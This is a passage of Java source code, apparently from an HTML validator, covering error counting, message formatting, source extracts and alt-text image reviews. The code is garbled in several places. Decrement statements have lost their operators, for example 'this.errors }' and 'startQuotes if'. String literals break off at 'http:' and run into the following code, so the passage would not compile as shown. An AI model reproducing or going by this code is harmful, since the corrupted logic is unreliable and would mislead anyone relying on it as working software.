error(SAXParseException e) throws SAXException { error(e, false); } /** * @param e * @throws SAXException */ private void error(SAXParseException e, boolean exact) throws SAXException { if ((!batchMode && fatalErrors > 0) || nonDocumentErrors > 0) { return; } Map<String, DatatypeException> datatypeErrors = null; if (e instanceof BadAttributeValueException) { datatypeErrors = ((BadAttributeValueException) e).getExceptions(); } if (e instanceof VnuBadAttrValueException) { datatypeErrors = ((VnuBadAttrValueException) e).getExceptions(); } if (e instanceof VnuBadElementNameException) { datatypeErrors = ((VnuBadElementNameException) e).getExceptions(); } if (e instanceof DatatypeMismatchException) { datatypeErrors = ((DatatypeMismatchException) e).getExceptions(); } if (datatypeErrors != null) { for (Map.Entry<String, DatatypeException> entry : datatypeErrors.entrySet()) { DatatypeException dex = entry.getValue(); if (dex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) dex; if (ex5.isWarning()) { this.warnings++; throwIfTooManyMessages(); messageFromSAXParseException(MessageType.WARNING, e, exact, null); return; } } } } this.errors++; throwIfTooManyMessages(); messageFromSAXParseException(MessageType.ERROR, e, exact, null); } public void errorWithStart(SAXParseException e, int[] start) throws SAXException { if ((!batchMode && fatalErrors > 0) || nonDocumentErrors > 0) { return; } this.errors++; throwIfTooManyMessages(); int startLine = start[0]; int startColumn = start[1]; int lastLine = e.getLineNumber(); int lastColumn = e.getColumnNumber(); boolean exact = (startLine == lastLine && startColumn == lastColumn); messageFromSAXParseException(MessageType.ERROR, e, exact, start); } /** * @see org.xml.sax.ErrorHandler#fatalError(org.xml.sax.SAXParseException) */ @Override public void fatalError(SAXParseException e) throws SAXException { fatalError(e, false); } /** * @param e * @throws SAXException */ private void fatalError(SAXParseException e, boolean exact) throws SAXException { if ((!batchMode && fatalErrors > 0) || nonDocumentErrors > 0) { return; } this.fatalErrors++; Exception wrapped = e.getException(); String systemId = null; if (wrapped instanceof SystemIdIOException) { SystemIdIOException siie = (SystemIdIOException) wrapped; systemId = siie.getSystemId(); } if (wrapped instanceof IOException) { message(MessageType.IO, wrapped, systemId, -1, -1, false, null); } else { messageFromSAXParseException(MessageType.FATAL, e, exact, null); } } public void info(String str) throws SAXException { if (emitter instanceof GnuMessageEmitter) return; message(MessageType.INFO, new Exception(str), null, -1, -1, false, null); } public void ioError(IOException e) throws SAXException { this.nonDocumentErrors++; String systemId = null; if (e instanceof SystemIdIOException) { SystemIdIOException siie = (SystemIdIOException) e; systemId = siie.getSystemId(); } message(MessageType.IO, e, systemId, -1, -1, false, null); } public void internalError(Throwable e, String message) throws SAXException { this.nonDocumentErrors++; message(MessageType.INTERNAL, new Exception(message), null, -1, -1, false, null); } public void schemaError(Exception e) throws SAXException { this.nonDocumentErrors++; message(MessageType.SCHEMA, e, null, -1, -1, false, null); } public void start(String documentUri) throws SAXException { emitter.startMessages(scrub(shortenDataUri(documentUri)), showSource); } private String shortenDataUri(String uri) { if (DataUri.startsWithData(uri)) { return "data:\u2026"; } else { return uri; } } public void end(String successMessage, String failureMessage, String language) throws SAXException { ResultHandler resultHandler = emitter.startResult(); if (resultHandler != null) { if (isIndeterminate()) { resultHandler.startResult(Result.INDETERMINATE); resultHandler.characters(INDETERMINATE_MESSAGE, 0, INDETERMINATE_MESSAGE.length); resultHandler.endResult(); } else if (isErrors()) { resultHandler.startResult(Result.FAILURE); resultHandler.characters(failureMessage.toCharArray(), 0, failureMessage.length()); resultHandler.endResult(); } else { resultHandler.startResult(Result.SUCCESS); resultHandler.characters(successMessage.toCharArray(), 0, successMessage.length()); resultHandler.endResult(); } } emitter.endResult(); if (imageCollector != null) { DocumentFragment instruction = IMAGE_REPORT_GENERAL; boolean fatal = false; if (getFatalErrors() > 0) { fatal = true; instruction = IMAGE_REPORT_FATAL; } else if (imageCollector.isEmpty()) { instruction = IMAGE_REPORT_EMPTY; } ImageReviewHandler imageReviewHandler = emitter.startImageReview( instruction, fatal); if (imageReviewHandler != null && !fatal) { emitImageReview(imageReviewHandler); } emitter.endImageReview(); } if (showSource) { SourceHandler sourceHandler = emitter.startFullSource(lineOffset); if (sourceHandler != null) { sourceCode.emitSource(sourceHandler); } emitter.endFullSource(); } emitter.endMessages(language); } private void emitImageReview(ImageReviewHandler imageReviewHandler) throws SAXException { List<Image> noAltNoLink = new LinkedList<>(); List<Image> noAltLink = new LinkedList<>(); List<Image> emptyAlt = new LinkedList<>(); List<Image> hasAlt = new LinkedList<>(); for (Image image : imageCollector) { String alt = image.getAlt(); if (alt == null) { if (image.isLinked()) { noAltLink.add(image); } else { noAltNoLink.add(image); } } else if ("".equals(alt)) { emptyAlt.add(image); } else { hasAlt.add(image); } } emitImageList(imageReviewHandler, noAltLink, NO_ALT_LINK_HEADING, NO_ALT_LINK_ADVICE, false); emitImageList(imageReviewHandler, noAltNoLink, NO_ALT_NO_LINK_HEADING, NO_ALT_NO_LINK_ADVICE, false); emitImageList(imageReviewHandler, emptyAlt, EMPTY_ALT, EMPTY_ALT_ADVICE, false); emitImageList(imageReviewHandler, hasAlt, HAS_ALT, HAS_ALT_ADVICE, true); } private void emitImageList(ImageReviewHandler imageReviewHandler, List<Image> list, char[] heading, DocumentFragment instruction, boolean hasAlt) throws SAXException { if (!list.isEmpty()) { imageReviewHandler.startImageGroup(heading, instruction, hasAlt); for (Image image : list) { String systemId = image.getSystemId(); int oneBasedLine = image.getLineNumber(); int oneBasedColumn = image.getColumnNumber(); Location rangeLast = sourceCode.newLocatorLocation( oneBasedLine, oneBasedColumn); if (sourceCode.isWithinKnownSource(rangeLast)) { Location rangeStart = sourceCode.rangeStartForRangeLast(rangeLast); imageReviewHandler.image(image, hasAlt, systemId, rangeStart.getLine() + 1, rangeStart.getColumn() + 1, oneBasedLine, oneBasedColumn); } else { imageReviewHandler.image(image, hasAlt, systemId, -1, -1, -1, -1); } } imageReviewHandler.endImageGroup(); } } private boolean isIndeterminate() { return nonDocumentErrors > 0; } private void messageFromSAXParseException(MessageType type, SAXParseException spe, boolean exact, int[] start) throws SAXException { int lineNumber = spe.getLineNumber() == 0 ? -1 : spe.getLineNumber(); message(type, spe, spe.getSystemId(), lineNumber, spe.getColumnNumber(), exact, start); } private void message(MessageType type, Exception message, String systemId, int oneBasedLine, int oneBasedColumn, boolean exact, int[] start) throws SAXException { String msg = message.getMessage(); if (msg != null && ((filterPattern != null && filterPattern.matcher(msg).matches()) || DEFAULT_FILTER_PATTERN.matcher(msg).matches())) { if (type.getSuperType() == "error" && this.errors > 0) { this.errors } else if (type.getSubType() == "warning" && this.warnings > 0) { this.warnings } return; } if (loggingOk && (type.getSuperType() == "error") && spec != EmptySpec.THE_INSTANCE && systemId != null && msg != null && (systemId.startsWith("http:") || systemId.startsWith("https:"))) { log4j.info(zapLf(new StringBuilder() .append(systemId).append('\t').append(msg))); } if (errorsOnly && type.getSuperType() == "info") { return; } String uri = sourceCode.getUri(); if (oneBasedLine > -1 && (uri == systemId || (uri != null && uri.equals(systemId)))) { if (oneBasedColumn > -1) { if (exact) { messageWithExact(type, message, systemId, oneBasedLine, oneBasedColumn, start); } else { messageWithRange(type, message, systemId, oneBasedLine, oneBasedColumn, start); } } else { messageWithLine(type, message, systemId, oneBasedLine); } } else { messageWithoutExtract(type, message, systemId, oneBasedLine, oneBasedColumn); } } private void messageWithRange(MessageType type, Exception message, String systemId, int oneBasedLine, int oneBasedColumn, int[] start) throws SAXException { if (start != null && !sourceCode.getIsCss()) { oneBasedColumn = oneBasedColumn + start[2]; } systemId = batchMode ? systemId : null; Location rangeLast = sourceCode.newLocatorLocation(oneBasedLine, oneBasedColumn); if (!sourceCode.isWithinKnownSource(rangeLast)) { messageWithoutExtract(type, message, null, oneBasedLine, oneBasedColumn); return; } Location rangeStart = sourceCode.rangeStartForRangeLast(rangeLast); if (start != null) { if (sourceCode.getIsCss()) { rangeStart = sourceCode.newLocatorLocation(start[0], start[1]); } else { rangeStart = sourceCode.newLocatorLocation(start[0], start[1] + start[2]); } } startMessage(type, scrub(shortenDataUri(systemId)), rangeStart.getLine() + 1, rangeStart.getColumn() + 1, oneBasedLine, oneBasedColumn, false); messageText(message); SourceHandler sourceHandler = emitter.startSource(); if (sourceHandler != null) { if (start != null) { sourceCode.addLocatorLocation(rangeStart.getLine() + 1, rangeStart.getColumn()); } sourceCode.rangeEndError(rangeStart, rangeLast, sourceHandler); } emitter.endSource(); elaboration(message); endMessage(); } private void messageWithExact(MessageType type, Exception message, String systemId, int oneBasedLine, int oneBasedColumn, int[] start) throws SAXException { if (start != null && !sourceCode.getIsCss()) { oneBasedColumn = oneBasedColumn + start[2]; } systemId = batchMode ? systemId : null; startMessage(type, scrub(shortenDataUri(systemId)), oneBasedLine, oneBasedColumn, oneBasedLine, oneBasedColumn, true); messageText(message); Location location = sourceCode.newLocatorLocation(oneBasedLine, oneBasedColumn); if (sourceCode.isWithinKnownSource(location)) { SourceHandler sourceHandler = emitter.startSource(); if (sourceHandler != null) { sourceCode.exactError(location, sourceHandler); } emitter.endSource(); } else { sourceCode.rememberExactError(location); } elaboration(message); endMessage(); } private void messageWithLine(MessageType type, Exception message, String systemId, int oneBasedLine) throws SAXException { systemId = batchMode ? systemId : null; if (!sourceCode.isWithinKnownSource(oneBasedLine)) { throw new RuntimeException("Bug. Line out of range!"); } startMessage(type, scrub(shortenDataUri(systemId)), oneBasedLine, -1, oneBasedLine, -1, false); messageText(message); SourceHandler sourceHandler = emitter.startSource(); if (sourceHandler != null) { sourceCode.lineError(oneBasedLine, sourceHandler); } emitter.endSource(); elaboration(message); endMessage(); } private void messageWithoutExtract(MessageType type, Exception message, String systemId, int oneBasedLine, int oneBasedColumn) throws SAXException { if (systemId == null) { systemId = sourceCode.getUri(); } startMessage(type, scrub(shortenDataUri(systemId)), oneBasedLine, oneBasedColumn, oneBasedLine, oneBasedColumn, false); messageText(message); elaboration(message); endMessage(); } /** * @param message * @throws SAXException */ private void messageText(Exception message) throws SAXException { if (message instanceof AbstractValidationException) { AbstractValidationException ave = (AbstractValidationException) message; rngMessageText(ave); } else if (message instanceof VnuBadAttrValueException) { VnuBadAttrValueException e = (VnuBadAttrValueException) message; vnuBadAttrValueMessageText(e); } else if (message instanceof VnuBadElementNameException) { VnuBadElementNameException e = (VnuBadElementNameException) message; vnuElementNameMessageText(e); } else { String msg = message.getMessage(); if (msg != null) { MessageTextHandler messageTextHandler = emitter.startText(); if (messageTextHandler != null) { emitStringWithQurlyQuotes(messageTextHandler, msg); } emitter.endText(); } } } private void vnuBadAttrValueMessageText(VnuBadAttrValueException e) throws SAXException { MessageTextHandler messageTextHandler = emitter.startText(); if (messageTextHandler != null) { boolean isWarning = false; Map<String, DatatypeException> datatypeErrors = e.getExceptions(); for (Map.Entry<String, DatatypeException> entry : datatypeErrors.entrySet()) { DatatypeException dex = entry.getValue(); if (dex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) dex; if (ex5.isWarning()) { isWarning = true; } } } if (isWarning) { messageTextString(messageTextHandler, POTENTIALLY_BAD_VALUE, false); } else { messageTextString(messageTextHandler, BAD_VALUE, false); } if (e.getAttributeValue().length() < 200) { codeString(messageTextHandler, e.getAttributeValue()); } messageTextString(messageTextHandler, FOR, false); attribute(messageTextHandler, e.getAttributeName(), e.getCurrentElement(), false); messageTextString(messageTextHandler, ON, false); element(messageTextHandler, e.getCurrentElement(), false); emitDatatypeErrors(messageTextHandler, e.getExceptions()); } emitter.endText(); } private void vnuElementNameMessageText(VnuBadElementNameException e) throws SAXException { MessageTextHandler messageTextHandler = emitter.startText(); if (messageTextHandler != null) { boolean isWarning = false; Map<String, DatatypeException> datatypeErrors = e.getExceptions(); for (Map.Entry<String, DatatypeException> entry : datatypeErrors.entrySet()) { DatatypeException dex = entry.getValue(); if (dex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) dex; if (ex5.isWarning()) { isWarning = true; } } } if (isWarning) { messageTextString(messageTextHandler, POTENTIALLY_BAD_ELEMENT_NAME, false); } else { messageTextString(messageTextHandler, BAD_ELEMENT_NAME, false); } messageTextString(messageTextHandler, SPACE, false); codeString(messageTextHandler, e.getElementName()); emitDatatypeErrors(messageTextHandler, e.getExceptions()); } emitter.endText(); } private void rngMessageText( AbstractValidationException e) throws SAXException { MessageTextHandler messageTextHandler = emitter.startText(); if (messageTextHandler != null) { if (e instanceof BadAttributeValueException) { BadAttributeValueException ex = (BadAttributeValueException) e; boolean isWarning = false; Map<String, DatatypeException> datatypeErrors = ex.getExceptions(); for (Map.Entry<String, DatatypeException> entry : datatypeErrors.entrySet()) { DatatypeException dex = entry.getValue(); if (dex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) dex; if (ex5.isWarning()) { isWarning = true; } } } if (isWarning) { messageTextString(messageTextHandler, POTENTIALLY_BAD_VALUE, false); } else { messageTextString(messageTextHandler, BAD_VALUE, false); } if (ex.getAttributeValue().length() < 200) { codeString(messageTextHandler, ex.getAttributeValue()); } messageTextString(messageTextHandler, FOR, false); attribute(messageTextHandler, ex.getAttributeName(), ex.getCurrentElement(), false); messageTextString(messageTextHandler, ON, false); element(messageTextHandler, ex.getCurrentElement(), false); emitDatatypeErrors(messageTextHandler, ex.getExceptions()); } else if (e instanceof ImpossibleAttributeIgnoredException) { ImpossibleAttributeIgnoredException ex = (ImpossibleAttributeIgnoredException) e; attribute(messageTextHandler, ex.getAttributeName(), ex.getCurrentElement(), true); messageTextString(messageTextHandler, NOT_ALLOWED_ON, false); element(messageTextHandler, ex.getCurrentElement(), false); messageTextString(messageTextHandler, AT_THIS_POINT, false); } else if (e instanceof OnlyTextNotAllowedException) { OnlyTextNotAllowedException ex = (OnlyTextNotAllowedException) e; element(messageTextHandler, ex.getCurrentElement(), true); messageTextString(messageTextHandler, ONLY_TEXT, false); } else if (e instanceof OutOfContextElementException) { OutOfContextElementException ex = (OutOfContextElementException) e; element(messageTextHandler, ex.getCurrentElement(), true); messageTextString(messageTextHandler, NOT_ALLOWED, false); if (ex.getParent() != null) { messageTextString(messageTextHandler, AS_CHILD_OF, false); element(messageTextHandler, ex.getParent(), false); } messageTextString(messageTextHandler, IN_THIS_CONTEXT_SUPPRESSING, false); } else if (e instanceof RequiredAttributesMissingOneOfException) { RequiredAttributesMissingOneOfException ex = (RequiredAttributesMissingOneOfException) e; element(messageTextHandler, ex.getCurrentElement(), true); messageTextString(messageTextHandler, REQUIRED_ATTRIBUTES_MISSING_ONE_OF, false); for (Iterator<String> iter = ex.getAttributeLocalNames().iterator(); iter.hasNext();) { codeString(messageTextHandler, iter.next()); if (iter.hasNext()) { messageTextString(messageTextHandler, COMMA, false); } } messageTextString(messageTextHandler, PERIOD, false); } else if (e instanceof RequiredAttributesMissingException) { RequiredAttributesMissingException ex = (RequiredAttributesMissingException) e; element(messageTextHandler, ex.getCurrentElement(), true); messageTextString(messageTextHandler, REQUIRED_ATTRIBUTES_MISSING, false); codeString(messageTextHandler, ex.getAttributeLocalName()); messageTextString(messageTextHandler, PERIOD, false); } else if (e instanceof RequiredElementsMissingException) { RequiredElementsMissingException ex = (RequiredElementsMissingException) e; if (ex.getParent() == null) { messageTextString(messageTextHandler, REQUIRED_ELEMENTS_MISSING, false); } else { element(messageTextHandler, ex.getParent(), true); if (ex.getMissingElementName() == null) { messageTextString(messageTextHandler, IS_MISSING_A_REQUIRED_CHILD, false); } else { messageTextString(messageTextHandler, REQUIRED_CHILDREN_MISSING_FROM, false); codeString(messageTextHandler, ex.getMissingElementName()); } messageTextString(messageTextHandler, PERIOD, false); } } else if (e instanceof StringNotAllowedException) { StringNotAllowedException ex = (StringNotAllowedException) e; messageTextString(messageTextHandler, BAD_CHARACTER_CONTENT, false); codeString(messageTextHandler, ex.getValue()); messageTextString(messageTextHandler, FOR, false); element(messageTextHandler, ex.getCurrentElement(), false); emitDatatypeErrors(messageTextHandler, ex.getExceptions()); } else if (e instanceof TextNotAllowedException) { TextNotAllowedException ex = (TextNotAllowedException) e; messageTextString(messageTextHandler, TEXT_NOT_ALLOWED_IN, false); element(messageTextHandler, ex.getCurrentElement(), false); messageTextString(messageTextHandler, IN_THIS_CONTEXT, false); } else if (e instanceof UnfinishedElementException) { UnfinishedElementException ex = (UnfinishedElementException) e; element(messageTextHandler, ex.getCurrentElement(), true); if (ex.getMissingElementName() == null) { messageTextString(messageTextHandler, IS_MISSING_A_REQUIRED_CHILD, false); } else { messageTextString(messageTextHandler, REQUIRED_CHILDREN_MISSING_FROM, false); codeString(messageTextHandler, ex.getMissingElementName()); } messageTextString(messageTextHandler, PERIOD, false); } else if (e instanceof UnfinishedElementOneOfException) { UnfinishedElementOneOfException ex = (UnfinishedElementOneOfException) e; element(messageTextHandler, ex.getCurrentElement(), true); messageTextString(messageTextHandler, REQUIRED_CHILDREN_MISSING_ONE_OF_FROM, false); for (Iterator<String> iter = ex.getMissingElementNames().iterator(); iter.hasNext();) { String missingElementName = iter.next(); if (!("http: codeString(messageTextHandler, missingElementName); if (iter.hasNext()) { messageTextString(messageTextHandler, COMMA, false); } } } messageTextString(messageTextHandler, PERIOD, false); } else if (e instanceof RequiredElementsMissingOneOfException) { RequiredElementsMissingOneOfException ex = (RequiredElementsMissingOneOfException) e; element(messageTextHandler, ex.getParent(), true); messageTextString(messageTextHandler, REQUIRED_CHILDREN_MISSING_ONE_OF_FROM, false); for (Iterator<String> iter = ex.getMissingElementNames().iterator(); iter.hasNext();) { String missingElementName = iter.next(); if (!("http: codeString(messageTextHandler, missingElementName); if (iter.hasNext()) { messageTextString(messageTextHandler, COMMA, false); } } } messageTextString(messageTextHandler, PERIOD, false); } else if (e instanceof UnknownElementException) { UnknownElementException ex = (UnknownElementException) e; messageTextString(messageTextHandler, UNKNOWN, false); element(messageTextHandler, ex.getCurrentElement(), false); messageTextString(messageTextHandler, NOT_ALLOWED, false); if (ex.getParent() != null) { messageTextString(messageTextHandler, AS_CHILD_OF, false); element(messageTextHandler, ex.getParent(), false); } messageTextString(messageTextHandler, PERIOD, false); } } emitter.endText(); } /** * @param messageTextHandler * @param datatypeErrors * @throws SAXException */ private void emitDatatypeErrors(MessageTextHandler messageTextHandler, Map<String, DatatypeException> datatypeErrors) throws SAXException { if (datatypeErrors.isEmpty()) { messageTextString(messageTextHandler, PERIOD, false); } else { messageTextString(messageTextHandler, COLON, false); for (Map.Entry<String, DatatypeException> entry : datatypeErrors.entrySet()) { messageTextString(messageTextHandler, SPACE, false); DatatypeException ex = entry.getValue(); if (ex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) ex; String[] segments = ex5.getSegments(); for (int i = 0; i < segments.length; i++) { String segment = segments[i]; if (i % 2 == 0) { emitStringWithQurlyQuotes(messageTextHandler, segment); } else { String scrubbed = scrub(segment); messageTextHandler.startCode(); messageTextHandler.characters( scrubbed.toCharArray(), 0, scrubbed.length()); messageTextHandler.endCode(); } } } else { emitStringWithQurlyQuotes(messageTextHandler, ex.getMessage()); } } } } private void element(MessageTextHandler messageTextHandler, Name element, boolean atSentenceStart) throws SAXException { if (html) { messageTextString(messageTextHandler, ELEMENT, atSentenceStart); linkedCodeString(messageTextHandler, element.getLocalName(), spec.elementLink(element)); } else { String ns = element.getNamespaceUri(); char[] humanReadable = WELL_KNOWN_NAMESPACES.get(ns); if (humanReadable == null) { if (loggingOk) { log4j.info(new StringBuilder().append("UNKNOWN_NS:\t").append( ns)); } messageTextString(messageTextHandler, ELEMENT, atSentenceStart); linkedCodeString(messageTextHandler, element.getLocalName(), spec.elementLink(element)); messageTextString(messageTextHandler, FROM_NAMESPACE, false); codeString(messageTextHandler, ns); } else { messageTextString(messageTextHandler, humanReadable, atSentenceStart); messageTextString(messageTextHandler, SPACE, false); messageTextString(messageTextHandler, ELEMENT, false); linkedCodeString(messageTextHandler, element.getLocalName(), spec.elementLink(element)); } } } private void linkedCodeString(MessageTextHandler messageTextHandler, String str, String url) throws SAXException { if (url != null) { messageTextHandler.startLink(url, null); } codeString(messageTextHandler, str); if (url != null) { messageTextHandler.endLink(); } } private void attribute(MessageTextHandler messageTextHandler, Name attributeName, Name elementName, boolean atSentenceStart) throws SAXException { String ns = attributeName.getNamespaceUri(); if (html || "".equals(ns)) { messageTextString(messageTextHandler, ATTRIBUTE, atSentenceStart); codeString(messageTextHandler, attributeName.getLocalName()); } else if ("http: messageTextString(messageTextHandler, ATTRIBUTE, atSentenceStart); codeString(messageTextHandler, "xml:" + attributeName.getLocalName()); } else { char[] humanReadable = WELL_KNOWN_NAMESPACES.get(ns); if (humanReadable == null) { if (loggingOk) { log4j.info(new StringBuilder().append("UNKNOWN_NS:\t").append( ns)); } messageTextString(messageTextHandler, ATTRIBUTE, atSentenceStart); codeString(messageTextHandler, attributeName.getLocalName()); messageTextString(messageTextHandler, FROM_NAMESPACE, false); codeString(messageTextHandler, ns); } else { messageTextString(messageTextHandler, humanReadable, atSentenceStart); messageTextString(messageTextHandler, SPACE, false); messageTextString(messageTextHandler, ATTRIBUTE, false); codeString(messageTextHandler, attributeName.getLocalName()); } } } private void codeString(MessageTextHandler messageTextHandler, String str) throws SAXException { messageTextHandler.startCode(); messageTextHandler.characters(str.toCharArray(), 0, str.length()); messageTextHandler.endCode(); } private void messageTextString(MessageTextHandler messageTextHandler, char[] ch, boolean capitalize) throws SAXException { if (capitalize && ch[0] >= 'a' && ch[0] <= 'z') { oneChar[0] = (char) (ch[0] - 0x20); messageTextHandler.characters(oneChar, 0, 1); if (ch.length > 1) { messageTextHandler.characters(ch, 1, ch.length - 1); } } else { messageTextHandler.characters(ch, 0, ch.length); } } private void emitStringWithQurlyQuotes( MessageTextHandler messageTextHandler, String message) throws SAXException { if (message == null) { message = ""; } message = scrub(message); int len = message.length(); int start = 0; int startQuotes = 0; for (int i = 0; i < len; i++) { char c = message.charAt(i); if (c == '\u201C') { startQuotes++; if (startQuotes == 1) { char[] scrubbed = scrub(message.substring(start, i)).toCharArray(); messageTextHandler.characters(scrubbed, 0, scrubbed.length); start = i + 1; messageTextHandler.startCode(); } } else if (c == '\u201D' && startQuotes > 0) { startQuotes if (startQuotes == 0) { char[] scrubbed = scrub(message.substring(start, i)).toCharArray(); messageTextHandler.characters(scrubbed, 0, scrubbed.length); start = i + 1; messageTextHandler.endCode(); } } } if (start < len) { char[] scrubbed = scrub(message.substring(start, len)).toCharArray(); messageTextHandler.characters(scrubbed, 0, scrubbed.length); } if (startQuotes > 0) { messageTextHandler.endCode(); } } private void elaboration(Exception e) throws SAXException { if (!(e instanceof AbstractValidationException || e instanceof VnuBadAttrValueException || e instanceof VnuBadElementNameException || e instanceof DatatypeMismatchException)) { return; } if (e instanceof ImpossibleAttributeIgnoredException) { ImpossibleAttributeIgnoredException ex = (ImpossibleAttributeIgnoredException) e; Name elt = ex.getCurrentElement(); elaborateElementSpecificAttributes(elt, ex.getAttributeName()); } else if (e instanceof OnlyTextNotAllowedException) { OnlyTextNotAllowedException ex = (OnlyTextNotAllowedException) e; Name elt = ex.getCurrentElement(); elaborateContentModel(elt); } else if (e instanceof OutOfContextElementException) { OutOfContextElementException ex = (OutOfContextElementException) e; Name parent = ex.getParent(); Name child = ex.getCurrentElement(); elaborateContentModelandContext(parent, child); } else if (e instanceof RequiredAttributesMissingException) { RequiredAttributesMissingException ex = (RequiredAttributesMissingException) e; Name elt = ex.getCurrentElement(); elaborateElementSpecificAttributes(elt); } else if (e instanceof RequiredAttributesMissingOneOfException) { RequiredAttributesMissingOneOfException ex = (RequiredAttributesMissingOneOfException) e; Name elt = ex.getCurrentElement(); elaborateElementSpecificAttributes(elt); } else if (e instanceof RequiredElementsMissingException) { RequiredElementsMissingException ex = (RequiredElementsMissingException) e; Name elt = ex.getParent(); elaborateContentModel(elt); } else if (e instanceof RequiredElementsMissingOneOfException) { RequiredElementsMissingOneOfException ex = (RequiredElementsMissingOneOfException) e; Name elt = ex.getParent(); elaborateContentModel(elt); } else if (e instanceof StringNotAllowedException) { StringNotAllowedException ex = (StringNotAllowedException) e; Name elt = ex.getCurrentElement(); elaborateContentModel(elt); } else if (e instanceof TextNotAllowedException) { TextNotAllowedException ex = (TextNotAllowedException) e; Name elt = ex.getCurrentElement(); elaborateContentModel(elt); } else if (e instanceof UnfinishedElementException) { UnfinishedElementException ex = (UnfinishedElementException) e; Name elt = ex.getCurrentElement(); elaborateContentModel(elt); } else if (e instanceof UnfinishedElementOneOfException) { UnfinishedElementOneOfException ex = (UnfinishedElementOneOfException) e; Name elt = ex.getCurrentElement(); elaborateContentModel(elt); } else if (e instanceof UnknownElementException) { UnknownElementException ex = (UnknownElementException) e; Name elt = ex.getParent(); elaborateContentModel(elt); } else if (e instanceof BadAttributeValueException) { BadAttributeValueException ex = (BadAttributeValueException) e; Map<String, DatatypeException> map = ex.getExceptions(); elaborateDatatypes(map); } else if (e instanceof VnuBadAttrValueException) { VnuBadAttrValueException ex = (VnuBadAttrValueException) e; Map<String, DatatypeException> map = ex.getExceptions(); elaborateDatatypes(map); } else if (e instanceof VnuBadElementNameException) { VnuBadElementNameException ex = (VnuBadElementNameException) e; Map<String, DatatypeException> map = ex.getExceptions(); elaborateDatatypes(map); } else if (e instanceof DatatypeMismatchException) { DatatypeMismatchException ex = (DatatypeMismatchException) e; Map<String, DatatypeException> map = ex.getExceptions(); elaborateDatatypes(map); } else if (e instanceof StringNotAllowedException) { StringNotAllowedException ex = (StringNotAllowedException) e; Map<String, DatatypeException> map = ex.getExceptions(); elaborateDatatypes(map); } } private void elaborateDatatypes(Map<String, DatatypeException> map) throws SAXException { Set<DocumentFragment> fragments = new HashSet<>(); for (Map.Entry<String, DatatypeException> entry : map.entrySet()) { DatatypeException ex = entry.getValue(); if (ex instanceof Html5DatatypeException) { Html5DatatypeException ex5 = (Html5DatatypeException) ex; DocumentFragment fragment = HTML5_DATATYPE_ADVICE.get(ex5.getDatatypeClass()); if (fragment != null) { fragments.add(fragment); } } } if (!fragments.isEmpty()) { ContentHandler ch = emitter.startElaboration(); if (ch != null) { TreeParser treeParser = new TreeParser(ch, null); XhtmlSaxEmitter xhtmlSaxEmitter = new XhtmlSaxEmitter(ch); xhtmlSaxEmitter.startElement("dl"); for (DocumentFragment fragment : fragments) { treeParser.parse(fragment); } xhtmlSaxEmitter.endElement("dl"); } emitter.endElaboration(); } } /** * @param elt * @throws SAXException */ private void elaborateContentModel(Name elt) throws SAXException { DocumentFragment dds = spec.contentModelDescription(elt); if (dds != null) { ContentHandler ch = emitter.startElaboration(); if (ch != null) { TreeParser treeParser = new TreeParser(ch, null); XhtmlSaxEmitter xhtmlSaxEmitter = new XhtmlSaxEmitter(ch); xhtmlSaxEmitter.startElement("dl"); emitContentModelDt(xhtmlSaxEmitter, elt); treeParser.parse(dds); xhtmlSaxEmitter.endElement("dl"); } emitter.endElaboration(); } } private void elaborateContentModelandContext(Name parent, Name child) throws SAXException { DocumentFragment contentModelDds = spec.contentModelDescription(parent); DocumentFragment contextDds = spec.contextDescription(child); if (contentModelDds != null || contextDds != null) { ContentHandler ch = emitter.startElaboration(); if (ch != null) { TreeParser treeParser = new TreeParser(ch, null); XhtmlSaxEmitter xhtmlSaxEmitter = new XhtmlSaxEmitter(ch); xhtmlSaxEmitter.startElement("dl"); if (contextDds != null) { emitContextDt(xhtmlSaxEmitter, child); treeParser.parse(contextDds); } if (contentModelDds != null) { emitContentModelDt(xhtmlSaxEmitter, parent); treeParser.parse(contentModelDds); } xhtmlSaxEmitter.endElement("dl"); } emitter.endElaboration(); } } /** * @param elt * @throws SAXException */ private void elaborateElementSpecificAttributes(Name elt) throws SAXException { this.elaborateElementSpecificAttributes(elt, null); } private void elaborateElementSpecificAttributes(Name elt, Name attribute) throws SAXException { if ("input".equals(elt.getLocalName())) { ContentHandler ch = emitter.startElaboration(); if (ch != null) { XhtmlSaxEmitter xhtmlSaxEmitter = new XhtmlSaxEmitter(ch); elaborateInputAttributes(xhtmlSaxEmitter, elt, attribute); } emitter.endElaboration(); } else { DocumentFragment dds = spec.elementSpecificAttributesDescription(elt); if (dds != null) { ContentHandler ch = emitter.startElaboration(); if (ch != null) { TreeParser treeParser = new TreeParser(ch, null); XhtmlSaxEmitter xhtmlSaxEmitter = new XhtmlSaxEmitter(ch); xhtmlSaxEmitter.startElement("dl"); emitElementSpecificAttributesDt(xhtmlSaxEmitter, elt); treeParser.parse(dds); xhtmlSaxEmitter.endElement("dl"); } emitter.endElaboration(); } } } private void emitElementSpecificAttributesDt( XhtmlSaxEmitter xhtmlSaxEmitter, Name elt) throws SAXException { xhtmlSaxEmitter.startElement("dt"); xhtmlSaxEmitter.characters(ELEMENT_SPECIFIC_ATTRIBUTES_BEFORE); emitLinkifiedLocalName(xhtmlSaxEmitter, elt); xhtmlSaxEmitter.characters(ELEMENT_SPECIFIC_ATTRIBUTES_AFTER); xhtmlSaxEmitter.endElement("dt"); } private void emitContextDt(XhtmlSaxEmitter xhtmlSaxEmitter, Name elt) throws SAXException { xhtmlSaxEmitter.startElement("dt"); xhtmlSaxEmitter.characters(CONTEXT_BEFORE); emitLinkifiedLocalName(xhtmlSaxEmitter, elt); xhtmlSaxEmitter.characters(CONTEXT_AFTER); xhtmlSaxEmitter.endElement("dt"); } private void emitContentModelDt(XhtmlSaxEmitter xhtmlSaxEmitter, Name elt) throws SAXException { xhtmlSaxEmitter.startElement("dt"); xhtmlSaxEmitter.characters(CONTENT_MODEL_BEFORE); emitLinkifiedLocalName(xhtmlSaxEmitter, elt); xhtmlSaxEmitter.characters(CONTENT_MODEL_AFTER); xhtmlSaxEmitter.endElement("dt"); } private void emitLinkifiedLocalName(XhtmlSaxEmitter xhtmlSaxEmitter, Name elt) throws SAXException { String url = spec.elementLink(elt); if (url != null) { attributesImpl.clear(); 